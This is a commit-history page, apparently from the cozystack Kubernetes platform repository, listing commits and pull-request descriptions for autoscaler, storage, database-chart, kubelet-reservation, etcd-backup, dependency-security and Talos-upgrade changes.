Commit Graph
2349 Commits
Author SHA1 Message Date
IvanHunters 0a71f03f59 fix(cluster-autoscaler): add liveness probe initial delay for switchcloud
The CA container was crashing every ~30s because the liveness probe
started with delay=0s and the CA needs more than 30s to initialize
when using an external gRPC cloud provider. Set initialDelaySeconds=60
to allow CA to complete startup before probe begins checking.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-13 11:08:17 +03:00
IvanHunters eb2d378d99 feat(cluster-autoscaler): use Go binary for switchcloud provider-id-setter
Replace the alpine:3.21 shell script initContainer with the Go binary
built into ghcr.io/aenix-org/cluster-autoscaler-switchcloud. The binary
reads Nova UUID and instance-type from OpenStack IMDS and sets both
spec.providerID and node.kubernetes.io/instance-type in a single patch.
Non-OpenStack nodes are skipped automatically.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-13 10:58:26 +03:00
IvanHunters c8307caee9 fix(cluster-autoscaler): fix externalgrpc cloud-config for switchcloud provider
The externalgrpc cloud provider expects --cloud-config to point to a file
containing YAML (address: "localhost:8086"), not the address string directly.

Add a ConfigMap (switchcloud-externalgrpc-config) with the correct YAML content,
mount it into the cluster-autoscaler container at /etc/externalgrpc, and update
--cloud-config to reference the mounted file path.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-13 00:05:41 +03:00
IvanHunters 7bbda3f70b fix(cluster-autoscaler): update switchcloud image to aenix-org registry
Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-04 21:52:17 +03:00
IvanHunters 30dbb291ce feat(cluster-autoscaler): add Switch Cloud externalgrpc provider support
Patch the vendored CA chart to support extraContainers (needed for the
externalgrpc sidecar pattern) and add externalgrpc to the Deployment
render condition (upstream chart skips the Deployment when no
autoscalingGroups/autoDiscovery are set, which is the case for external
gRPC providers).

New files:
- values-switchcloud.yaml: cloudProvider=externalgrpc, switchcloud-provider
  sidecar, provider-id-setter DaemonSet via extraObjects
- sources/cluster-autoscaler-switchcloud.yaml: PackageSource for Cozystack

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-04 21:46:22 +03:00
IvanHunters 67553e5d8e feat(talos): add openstack platform image build support
Add openstack platform profile alongside existing nocloud and metal profiles.
Enables building Talos disk images for OpenStack-based deployments (e.g. Switch Cloud).
The openstack platform reads machine config from OpenStack IMDS user-data endpoint
instead of the nocloud path, making it compatible with standard OpenStack deployments.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-04 21:09:37 +03:00
myasnikovdaniil 6ad5bf0bbf fix(objectstorage-controller): retry on Bucket conflict during BucketAccess reconcile (#2529)
## What this PR does

Carries an upstream-bound patch against COSI v0.2.2's BucketAccess
sidecar reconciler so it survives the optimistic-concurrency race with
the central Bucket reconciler running in the same process.

In `sidecar/pkg/bucketaccess/bucketaccess_controller.go`, the `Add` path
does:

```go
bucket, _ := buckets().Get(...)
// ...
if controllerutil.AddFinalizer(bucket, BABucketFinalizer) {
    buckets().Update(ctx, bucket, ...)   // <-- 409 here
}
```

Between `Get` and `Update` the Bucket reconciler in the same binary can
mutate the object and bump `resourceVersion`, producing:

```
Operation cannot be fulfilled on buckets.objectstorage.k8s.io "bucket-...":
the object has been modified; please apply your changes to the latest
version and try again
```

surfaced to users as a `FailedGrantAccess` event on the BucketAccess.

This patch wraps the Bucket finalizer add in
`retry.RetryOnConflict(retry.DefaultRetry, ...)` and re-`Get`s the
Bucket inside the closure so each retry mutates the freshest version.

Patch is held as `91-bucketaccess-conflict-retry.diff` and consumed at
image build time (re-introduces `git` to the source stage and the `COPY
patches /patches` + `git apply /patches/*.diff` steps that existed
before `c29d501b` dropped them when 89/90 were upstreamed). The
convention is identical: drop the local patch the moment the upstream PR
merges and ships in a tagged release.

### Release note

~~~release-note
[objectstorage-controller] Carry a patch that retries on Bucket update
conflict during BucketAccess reconcile, eliminating the "object has been
modified" FailedGrantAccess event seen in CI.
~~~

## Test plan

- [x] `make image` for `system/objectstorage-controller` and verify
`values.yaml` picks up the new digest.
- [x] Re-run the cozystack-e2e suite that emitted the
`FailedGrantAccess: ... object has been modified` event on
`tenant-test/BucketAccess/bucket-test-admin` and confirm it no longer
fires.
- [ ] Verify `kubectl describe bucketaccess` reports
`AccessGranted=true` on first reconcile, no requeue from the conflict
path.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Bug Fixes**
* Enhanced bucket access update reliability with improved conflict
handling during concurrent operations. The system now automatically
retries operations and refetches data to prevent update conflicts.

* **Chores**
* Improved Docker build process with automatic patch application support
for source customization.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 18:50:38 +05:00
myasnikovdaniil 8fbbef3f02 fix(harbor): drive bucket-secret.yaml from values, gate HR on BucketInfo (#2528)
## Summary
- `cozy-harbor/templates/bucket-secret.yaml` no longer relies on
`lookup` against the BucketAccess credentials Secret. It is now driven
by `.Values.bucket.bucketInfo` (a JSON string) with `dig`-based safe
accessors, so a missing/empty/partial value renders nothing rather than
crashing with `index of untyped nil` (the failure mode that broke harbor
in CI #25049445125).
- The downstream `<release>-system` HelmRelease now sources `BucketInfo`
via `valuesFrom` (`valuesKey: BucketInfo`, `targetPath:
bucket.bucketInfo`). With the default `optional: false`, helm-controller
refuses to compose values until the COSI BucketAccess controller has
populated the Secret — both gating initial reconciliation and forcing a
config-digest change (and thus a helm upgrade) when the credentials
arrive. Flux HR `dependsOn` cannot reference COSI resources directly, so
`valuesFrom` is the correct primitive here.
- `bucket.secretName` was the only consumer of the old `lookup` and is
removed from both the system chart's `values.yaml` default and the apps
chart's `values:` block.

## Why this shape
helm-controller's upgrade trigger is digest-based over composed values +
chart artifact; a `lookup` returning new data on a later reconcile is
not enough to force an upgrade on its own. Routing `BucketInfo` through
`valuesFrom` puts the bucket data on the digest path, so the chart
re-applies the moment credentials become available.

## Test plan
- [x] `helm template` of `packages/system/harbor` with
`bucket.bucketInfo` unset, empty string, empty JSON object `{}`, and
fully populated — only the populated case renders the `*-registry-s3`
Secret; the others render nothing without erroring.
- [x] `helm template` of `packages/apps/harbor` produces the expected
`<release>-system` HR with the new `valuesFrom` entry and the cleaned-up
`values:` block.
- [ ] Re-run the harbor E2E on a fresh stand and confirm 15/15.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
* Harbor bucket config now comes from a centralized Secret merged into
chart values; in-values bucket entry removed.
* **Bug Fixes**
* Deployment synchronization and Helm upgrade behavior improved by
depending on the Secret’s readiness/contents.
* **Tests**
* Added unit tests covering when the bucket secret is rendered (or not)
and a make target to run those tests.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 17:21:17 +05:00
Aleksei Sviridkin 7eaafe0b40 fix(mongodb): reclaim PVCs and operator secrets on uninstall (#2525)
## What this PR does

Adds the upstream Percona finalizer pair to the `PerconaServerMongoDB`
custom resource so the operator performs an ordered shutdown and
reclaims persistent storage when a MongoDB release is uninstalled.
Previously, deleting a MongoDB application left PVCs and
operator-managed secrets orphaned in the tenant namespace, requiring
manual cleanup before the same release name could be reused.

The finalizers added on the CR:

- `percona.com/delete-psmdb-pods-in-order` — ensures the primary is shut
down last for graceful cluster termination.
- `percona.com/delete-psmdb-pvc` — instructs the operator to delete PVCs
and operator-managed secrets when the CR is removed.

Coverage applies to all replica sets in both replicaset and sharded
modes, including the config server in sharded deployments.

### Behavior change

Users who previously relied on orphaned PVCs as an implicit "soft
delete" for data recovery should be aware that uninstalling a MongoDB
release now removes the underlying storage and operator-managed
credentials. The README's new "Data lifecycle" section enumerates
exactly which resources are reclaimed by the operator versus by the
standard `helm uninstall`. Take a backup before deletion if data
retention is required.

This resolves cozystack/cozystack#2513.

### Screenshots

Not applicable — no UI changes.

### Release note

```release-note
fix(mongodb): reclaim PVCs and operator-managed secrets on uninstall via Percona finalizers.

WARNING: upgrading scopes the admin credentials secret per release instead of the namespace-shared default. This triggers an in-place rotation of the five operator-managed admin passwords on first reconcile. Pods are not restarted; application user passwords are unaffected. Workloads consuming `<release>-credentials` must be restarted to pick up the new admin passwords.
```

### Out of scope / follow-up

- Bats integration test would require a live cluster with the Percona
MongoDB operator and belongs in the `hack/e2e-*.bats` family — left as a
follow-up.
- Issue #2513 mentions considering similar treatment for
PostgreSQL/MariaDB/Redis/ClickHouse. Each operator has a different
cleanup mechanism; that work is intentionally out of scope here and
should be tracked per-app.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Documentation**
* Expanded uninstall and upgrade guidance: which secrets/pvc remain,
cert-manager TLS secrets must be deleted manually, remediation for
orphaned legacy secret, and recovery steps for stuck deletions when the
operator is removed before CRs.

* **New Features**
  * Added deletion finalizers to enforce controlled teardown.
* User credentials secret now uses a deterministic, release-scoped name.

* **Tests**
* Added chart tests for finalizer behavior (sharded/non‑sharded) and
release-scoped users secret.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-04 13:18:02 +03:00
Arsolitt 5786afe8bf feat(kubernetes): add kubelet resource reservations for worker nodes (#2420)
**What this PR does**

Adds configurable kubelet resource reservations and eviction thresholds
for tenant cluster worker nodes. Without explicit reservations and
cgroup enforcement, the scheduler treats nearly all node memory and CPU
as allocatable. Under pressure, the OOM killer can target kubelet itself
because no cgroup boundaries protect it, leading to "Kubelet stopped
posting node status" failures and unrecoverable NotReady nodes.

This PR auto-computes per-node-group kubelet reservations from the
effective node capacity (instanceType or explicit `resources`):

- **Memory**: `systemReservedMemory` and `kubeReservedMemory` each
default to 5% of effective memory, clamped 256Mi-1Gi
- **CPU**: `systemReservedCpu` and `kubeReservedCpu` each default to 5%
of effective CPU, clamped 50m-500m
- **Eviction**: configurable `evictionHardMemory` (default 7%) and
`evictionSoftMemory` (default 10%) with validation that hard < soft
- **Disk eviction**: `nodefs.available`, `imagefs.available`, and
`nodefs.inodesFree` thresholds are preserved alongside memory signals
- **Capacity annotations**: cluster-autoscaler annotations now report
allocatable memory and CPU (total minus all reservations and eviction
threshold) instead of raw totals
- **Cgroup enforcement**: `enforce-node-allocatable=pods` configures
advisory-only reservations — the scheduler accounts for reserved
resources when computing allocatable capacity, but no cgroup boundaries
are enforced for system or kube reserved resources
- **Validation**: format checks, zero-value rejection, eviction ordering
(hard < soft), same-unit-type requirement for eviction thresholds, and
total reservation sanity check against effective node capacity

All reservation fields are optional and overridable per node group via
`.nodeGroups[].kubelet`.

**Default rendered kubeletExtraArgs:**

```yaml
kubeletExtraArgs:
  system-reserved: "memory=256Mi,cpu=50m"
  kube-reserved: "memory=256Mi,cpu=50m"
  eviction-hard: "memory.available<7%,nodefs.available<10%,imagefs.available<15%,nodefs.inodesFree<5%"
  eviction-soft: "memory.available<10%,nodefs.available<15%,imagefs.available<20%"
  eviction-soft-grace-period: "memory.available=1m30s,nodefs.available=1m30s,imagefs.available=1m30s"
  eviction-minimum-reclaim: "memory.available=256Mi"
  enforce-node-allocatable: "pods"
```

**New values schema:**

```yaml
nodeGroups:
  md0:
    kubelet:
      systemReservedMemory: ""   # auto-computed (5% of effective memory, 256Mi-1Gi)
      kubeReservedMemory: ""     # auto-computed (5% of effective memory, 256Mi-1Gi)
      systemReservedCpu: ""      # auto-computed (5% of effective CPU, 50m-500m)
      kubeReservedCpu: ""        # auto-computed (5% of effective CPU, 50m-500m)
      evictionHardMemory: "7%"   # absolute (e.g. 200Mi) or percentage
      evictionSoftMemory: "10%"  # must be > evictionHardMemory, same unit type
```

**Release note:**

```
feat(kubernetes): add per-node-group kubelet resource reservations with auto-computed system/kube reserved memory (5% of effective memory, clamped 256Mi-1Gi) and CPU (5% of effective CPU, clamped 50m-500m), configurable memory eviction thresholds, preserved disk eviction signals (nodefs, imagefs, inodesFree), pods-only cgroup enforcement, and reservation-aware allocatable capacity annotations for cluster-autoscaler.
```
2026-05-01 14:45:30 +03:00
Andrei Kvapil b5a1ae57de feat(etcd): update operator to v0.4.3 and expose S3 backup schedules (#2428)
## What this PR does

Bumps the vendored `etcd-operator` chart from `v0.4.2` to `v0.4.3` and
wires the new backup machinery through the cozystack `Etcd` app API.

Upstream v0.4.3 ships two new CRDs — `EtcdBackup` (one-shot snapshot)
and `EtcdBackupSchedule` (periodic snapshots) — along with the
`EtcdCluster.spec.bootstrap` restore field, a new `OPERATOR_IMAGE` env
on the operator deployment, and a replacement of the deprecated
`gcr.io/kubebuilder/kube-rbac-proxy` image. The chart portion of this PR
is a clean re-vendor via `make update` — no local patches.

On top of the bump, `packages/extra/etcd` exposes a new optional
`backup.*` values block. When `backup.enabled=true`, the chart renders
an `EtcdBackupSchedule` referencing the platform `EtcdCluster/etcd` and
a `Secret/etcd-s3-creds` with the S3 credentials expected by the
backup-agent. The values field names (`destinationPath`, `endpointURL`,
`s3AccessKey`, `s3SecretKey`, `schedule`) mirror the existing `postgres`
backup pattern for consistency. The chart `fail`s at template render if
any of the four required S3 fields are empty or if `destinationPath` is
malformed (missing `s3://` prefix, `//` segments, no bucket).

Test coverage: 15 `helm-unittest` cases across
`tests/backup-secret_test.yaml` and
`tests/etcd-backup-schedule_test.yaml` (wired into `make test`, picked
up by `hack/helm-unit-tests.sh`), plus three bats cases in
`hack/e2e-apps/etcd.bats` covering the baseline `Etcd` app, the `backup:
{}` default-off path, and the full `backup.enabled=true` case that
verifies the `EtcdBackupSchedule` materializes and the operator
generates the downstream `CronJob`.

`packages/core/platform/sources/etcd-operator.yaml` now sets
`upgradeCRDs: CreateReplace` on the etcd-operator component, so Flux
applies the new CRDs on upgrade of the chart instead of silently
skipping them.

Depends on #2427.

### Scope deferred to follow-ups

- The one-shot `EtcdBackup` CRD is vendored but not exposed through this
chart — users can still hand-apply the CRD directly.
- `EtcdCluster.spec.bootstrap` (restore from an existing snapshot) is
likewise vendored but not exposed. Both gaps are called out in
`packages/extra/etcd/README.md`.

### Release note

```release-note
feat(etcd): update etcd-operator to v0.4.3 and expose S3 backup schedules on the Etcd app. Set `backup.enabled=true` along with `backup.s3AccessKey`, `backup.s3SecretKey`, `backup.destinationPath`, and `backup.endpointURL` to schedule periodic snapshots.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Scheduled S3 backups for etcd clusters (configurable cron, generated
S3 credentials) and restore/init from S3 or PVC via new backup
resources.

* **Tests**
* New end-to-end tests for etcd lifecycle and backup scenarios; added
Helm unit tests for backup templates and validations.

* **Documentation**
  * Backup configuration guide and parameter reference added.

* **Chores**
* Operator chart version bump; RBAC, webhooks, and deployment wiring
updated; added chart test target.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:16:08 +02:00
Andrei Kvapil 70e507ee5c fix(security): bump Go dependencies to clear Dependabot CVE alerts (#2494)
## What this PR does

Closes the 25 open Dependabot Go-ecosystem alerts on this repository (2
critical, 11 high, 12 moderate) by bumping the affected dependencies in
five Go modules to their latest stable versions. Splits the work into
six signed commits, one per logical block, so the diff in each commit
can be reviewed in isolation.

### Full advisory coverage

| # | Module | Severity | Package | Advisory | Title | Vulnerable |
Shipped |
|---|---|---|---|---|---|---|---|
| 29 | `go.mod` | critical | `google.golang.org/grpc` |
[GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3)
| gRPC-Go authorization bypass via missing leading slash in `:path` | `<
1.79.3` | `1.80.0` |
| 28 | `kubevirt-csi-driver/go.mod` | critical |
`google.golang.org/grpc` |
[GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3)
| gRPC-Go authorization bypass via missing leading slash in `:path` | `<
1.79.3` | `1.80.0` |
| 32 | `go.mod` | high | `go.opentelemetry.io/otel` |
[GHSA-mh2q-q3fh-2475](https://github.com/advisories/GHSA-mh2q-q3fh-2475)
| Multi-value `baggage` header extraction causes excessive allocations
(remote DoS amplification) | `>= 1.36.0, <= 1.40.0` | `1.43.0` |
| 31 | `go.mod` | high | `github.com/moby/spdystream` |
[GHSA-pc3f-x583-g7j2](https://github.com/advisories/GHSA-pc3f-x583-g7j2)
| SpdyStream: DoS on CRI | `<= 0.5.0` | `0.5.1` |
| 30 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` |
[GHSA-hfvc-g4fc-pqhx](https://github.com/advisories/GHSA-hfvc-g4fc-pqhx)
| BSD `kenv` command not using absolute path enables PATH hijacking |
`>= 1.15.0, <= 1.42.0` | `1.43.0` |
| 27 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` |
[GHSA-9h8m-3fm2-qjrq](https://github.com/advisories/GHSA-9h8m-3fm2-qjrq)
| OpenTelemetry Go SDK vulnerable to arbitrary code execution via PATH
hijacking | `>= 1.21.0, < 1.40.0` | `1.43.0` |
| 26 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-cgrx-mc8f-2prm](https://github.com/advisories/GHSA-cgrx-mc8f-2prm)
| runc container escape and DoS due to arbitrary write gadgets and
procfs write redirects | `<= 1.2.7` | `1.4.2` |
| 25 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-qw9x-cqr3-wc7r](https://github.com/advisories/GHSA-qw9x-cqr3-wc7r)
| runc container escape with malicious config due to `/dev/console`
mount and related races | `>= 1.0.0-rc3, <= 1.2.7` | `1.4.2` |
| 24 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-9493-h29p-rfm2](https://github.com/advisories/GHSA-9493-h29p-rfm2)
| runc container escape via "masked path" abuse due to mount race
conditions | `<= 1.2.7` | `1.4.2` |
| 23 | `kubevirt-csi-driver/go.mod` | high | `golang.org/x/oauth2` |
[GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9)
| Improper Validation of Syntactic Correctness of Input | `< 0.27.0` |
`0.36.0` |
| 16 | `kubeovn-webhook/go.mod` | high | `golang.org/x/oauth2` |
[GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9)
| Improper Validation of Syntactic Correctness of Input | `< 0.27.0` |
`0.36.0` |
| 4 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` |
[GHSA-4374-p667-p6c8](https://github.com/advisories/GHSA-4374-p667-p6c8)
| HTTP/2 rapid reset can cause excessive work in `net/http` | `< 0.17.0`
| `0.53.0` |
| 3 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` |
[GHSA-vvpx-j8f3-3w6h](https://github.com/advisories/GHSA-vvpx-j8f3-3w6h)
| `golang.org/x/net` vulnerable to Uncontrolled Resource Consumption |
`< 0.7.0` | `0.53.0` |
| 22 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` |
[GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw)
| `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` |
`0.53.0` |
| 21 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` |
[GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66)
| HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` |
| 20 | `kubevirt-csi-driver/go.mod` | medium |
`github.com/opencontainers/runc` |
[GHSA-jfvp-7x6p-h2pv](https://github.com/advisories/GHSA-jfvp-7x6p-h2pv)
| runc can be confused to create empty files/directories on the host |
`< 1.1.14` | `1.4.2` |
| 19 | `go.mod` | medium | `golang.org/x/crypto` |
[GHSA-f6x5-jh6r-wrfv](https://github.com/advisories/GHSA-f6x5-jh6r-wrfv)
| `golang.org/x/crypto/ssh/agent` vulnerable to panic if message is
malformed (OOB read) | `< 0.45.0` | `0.50.0` |
| 18 | `go.mod` | medium | `golang.org/x/crypto` |
[GHSA-j5w8-q4qc-rx2x](https://github.com/advisories/GHSA-j5w8-q4qc-rx2x)
| `golang.org/x/crypto/ssh` allows an attacker to cause unbounded memory
consumption | `< 0.45.0` | `0.50.0` |
| 14 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw)
| `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` |
`0.53.0` |
| 11 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66)
| HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` |
| 9 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-xrjj-mj9h-534m](https://github.com/advisories/GHSA-xrjj-mj9h-534m)
| `golang.org/x/net/http2` vulnerable to possible excessive memory
growth | `< 0.4.0` | `0.53.0` |
| 8 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-4v7x-pqxf-cx7m](https://github.com/advisories/GHSA-4v7x-pqxf-cx7m)
| `net/http`, `x/net/http2`: close connections when receiving too many
headers | `< 0.23.0` | `0.53.0` |
| 7 | `kubeovn-webhook/go.mod` | medium | `google.golang.org/protobuf` |
[GHSA-8r3f-844c-mc37](https://github.com/advisories/GHSA-8r3f-844c-mc37)
| `protojson.Unmarshal` infinite loop on certain forms of invalid JSON |
`< 1.33.0` | `1.36.11` |
| 6 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-qppj-fm5r-hxr3](https://github.com/advisories/GHSA-qppj-fm5r-hxr3)
| HTTP/2 Stream Cancellation Attack | `< 0.17.0` | `0.53.0` |
| 5 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-2wrh-6pvc-2jm9](https://github.com/advisories/GHSA-2wrh-6pvc-2jm9)
| Improper rendering of text nodes in `golang.org/x/net/html` | `<
0.13.0` | `0.53.0` |

Sorted by severity (critical → high → medium), then by alert number. The
`Module` column lists the manifest path inside the repo (`go.mod` is the
root); `Vulnerable` is what GitHub flagged in the original advisory;
`Shipped` is the version this PR pins to.

### Modules bumped

1. Root `go.mod` (`github.com/cozystack/cozystack`) — purely transitive
bumps for `grpc`, `otel`, `otel/sdk`, `x/crypto`, `spdystream`.
2. `api/apps/v1alpha1/go.mod` — bumps `k8s.io/apimachinery` and
`golang.org/x/net`/`x/text` for consistency with the root module's `go
1.26.2` directive.
3. `packages/apps/kubernetes/images/kubevirt-csi-driver/go.mod` — bumps
the upstream `kubevirt.io/csi-driver` pin to its latest commit, raises
the `k8s.io/*` replace block from `v0.31.4` to `v0.36.0`, bumps `runc`
to `v1.4.2`, and adapts `main.go` to the upstream's new builder-style
API for `service.NewKubevirtCSIDriver` (the constructor was split into
`WithIdentityService` / `WithControllerService` / `WithNodeService`).
4. `packages/system/kubeovn-webhook/images/kubeovn-webhook/go.mod` —
direct bumps to `golang.org/x/net`, `golang.org/x/oauth2`,
`google.golang.org/protobuf`.
5. `packages/system/dashboard/images/token-proxy/go.mod` — bumps `jwx`,
`httprc`, `x/crypto`, `x/sys` for consistency with the root module's
directive.

All five modules now declare `go 1.26.2`. The three vendored-image
Dockerfiles (`kubevirt-csi-driver`, `kubeovn-webhook`, `token-proxy`)
move to `golang:1.26{,-alpine}`.

### First-party Dockerfile bumps

The root `go.mod` directive jump to `1.26.2` means every Dockerfile that
copies the root `go.mod` and builds a cozystack-owned binary needs a
matching base image, otherwise the in-container toolchain has to pull
`go 1.26` on the fly via `GOTOOLCHAIN=auto` at every build. Eight images
are bumped from `golang:1.25-alpine` to `golang:1.26-alpine`:
`cozystack-operator`, `cozystack-api`, `cozystack-controller`,
`backup-controller`, `backupstrategy-controller`, `flux-plunger`,
`kubeovn-plunger`, `lineage-controller-webhook`.

Vendored Dockerfiles (`kubevirt-cloud-provider`, `redis-operator`,
`keycloak-operator`, `linstor-csi`, `multus-cni`, `objectstorage`,
`s3manager`, `kamaji`) are intentionally untouched: each one fetches its
source from upstream at build time and pins its `golang:` base image to
whatever the upstream commit was tested against.

### Why bump past the advisory minimums

Bumping each affected dependency to its latest stable rather than the
lowest patched version means we pick up subsequent (non-CVE) bug fixes
for free and reduce the number of follow-up Dependabot bumps the next
reviewer has to triage. Where this required a cascading bump (e.g.
`runc` v1.4.2 only compiles together with `mount-utils` v0.32+, which
dropped the deprecated `libcontainer/userns` import path), the cascade
was followed through.

### Build verification

`go build ./...` and `go vet ./...` are clean across all five modules
locally. Two `go vet` warnings in the root module
(`pkg/lineage/lineage_test.go:76` unkeyed struct fields,
`cmd/cozypkg/cmd/add.go:521` non-constant format string) and three
`randfill.Continue` test panics in `pkg/apis/{apps,core}/install` and
`pkg/apiserver` also reproduce on `main` and are out of scope for this
PR.

### Out of scope

The `k8s.io/*` libraries in `kubeovn-webhook/go.mod` are still pinned at
`v0.26.0`; they are not flagged by Dependabot and bumping them would be
a separate, much larger maintenance change.

### Release note

```release-note
fix(security): bump Go dependencies in root, api/apps/v1alpha1, kubevirt-csi-driver, kubeovn-webhook, and token-proxy modules to clear all open Dependabot CVE alerts
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
  * Upgraded Go toolchain across components and build stages to 1.26.x.
* Updated numerous dependencies for compatibility, stability and
security (Kubernetes APIs, gRPC, OpenTelemetry, golang.org/x/*, and
related libs).
* Several containers now run as a non-root user (UID/GID 65532) to
improve runtime security.

* **Refactor**
* CSI driver initialization refactored to a builder-style pattern
enabling conditional service wiring.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:16:03 +02:00
Andrei Kvapil 5ef1500baf fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease (#2533)
## What this PR does

The `filer` and `s3` blocks in the seaweedfs HelmRelease values omitted
the `replicas:` field, so user-supplied `.Values.filer.replicas` and
`.Values.s3.replicas` were silently ignored and the upstream chart
defaults took over. As a second-order effect, the `WorkloadMonitor`
resources for `filer` and `s3` (which read the same values) diverged
from the actual replica count and could trigger spurious alerts when
users set non-default values.

This PR mirrors the existing `master` / `volume` / `db` pattern and
interpolates `replicas:` into both blocks.

Fixes #2531

### Release note

```release-note
fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease so user-supplied values take effect
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

## Release Notes

* **Chores**
* SeaweedFS deployment configuration now supports configurable replica
counts for the filer and s3 components, providing flexible cluster
scaling through deployment parameters.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:15:50 +02:00
Aleksei Sviridkin 8c85e69b50 feat(talos): bump Talos to v1.13.0 (#2546)
## What this PR does

Bumps Talos Linux from v1.12.7 to v1.13.0. The v1.13 release line also
contains the kernel fix for CVE-2026-31431 ("Copy Fail").

Refreshes the bundled system extension digests (amdgpu, i915, drbd, zfs)
to their 1.13.0-aligned builds.

Generated via `make update` in `packages/core/talos`.

Stacked on top of #2545. Targets `fix/talos-1.12.7` so the diff shown
here is just the v1.12.7 → v1.13.0 delta.

References:
- https://copy.fail/
-
https://www.siderolabs.com/blog/exploit-fail-cve-2026-31431-copy-fail-barely-scratches-talos-linux

### Release note

```release-note
feat(talos): bump Talos Linux to v1.13.0
```
2026-05-01 13:55:54 +03:00
Andrei Kvapil 431eac8daf fix(talos): bump Talos to v1.12.7 (CVE-2026-31431) (#2545)
## What this PR does

Bumps Talos Linux from v1.12.6 to v1.12.7, which includes the kernel fix
for CVE-2026-31431 ("Copy Fail") — an unprivileged-to-root local
privilege escalation in the Linux kernel crypto subsystem
(`algif_aead`).

This also refreshes the bundled system extension digests (amd-ucode,
amdgpu, bnx2-bnx2x, i915, intel-ice-firmware, qlogic-firmware, drbd,
zfs) to their 1.12.7-aligned builds.

Generated via `make update` in `packages/core/talos`.

References:
- https://copy.fail/
-
https://www.siderolabs.com/blog/exploit-fail-cve-2026-31431-copy-fail-barely-scratches-talos-linux

### Release note

```release-note
fix(talos): bump Talos Linux to v1.12.7, picking up the kernel fix for CVE-2026-31431 ("Copy Fail")
```
2026-05-01 12:55:26 +02:00
Andrei KvapilandClaude 179b603cfc feat(talos): bump Talos to v1.13.0
Bumps Talos Linux from v1.12.7 to v1.13.0. The v1.13 release line also
contains the kernel fix for CVE-2026-31431 ("Copy Fail").

Refreshes the bundled system extension digests (amdgpu, i915, drbd, zfs)
to their 1.13.0-aligned builds.

Generated via `make update` in packages/core/talos.

Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
2026-04-30 23:22:04 +02:00
Andrei KvapilandClaude 8549f3b9c3 fix(talos): bump Talos to v1.12.7 (CVE-2026-31431)
Bumps Talos Linux from v1.12.6 to v1.12.7, which includes the kernel
fix for CVE-2026-31431 ("Copy Fail") — an unprivileged-to-root local
privilege escalation in the Linux kernel crypto subsystem (algif_aead).

Also refreshes the bundled system extension digests (amd-ucode, amdgpu,
bnx2-bnx2x, i915, intel-ice-firmware, qlogic-firmware, drbd, zfs) to
their 1.12.7-aligned builds.

Generated via `make update` in packages/core/talos.

Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
2026-04-30 23:09:31 +02:00
Arsolitt 59c547eacf docs(mongodb): document password rotation behavior on upgrade
Describe the in-place password rotation performed by the Percona operator
when upgrading to releases that scope the system users secret per CR.
Clarify that consumers of the credentials secret need a pod restart to
pick up the new password, custom user secrets are unaffected, and the
legacy namespace-shared secret is left orphaned and must be cleaned up
manually.

Signed-off-by: Arsolitt <arsolitt@gmail.com>
2026-04-30 16:41:00 +03:00
Andrei Kvapil 6c2dba9b21 fix(linstor): retry drbdadm secondary after mkfs on transient EBUSY (#2538)
## What this PR does

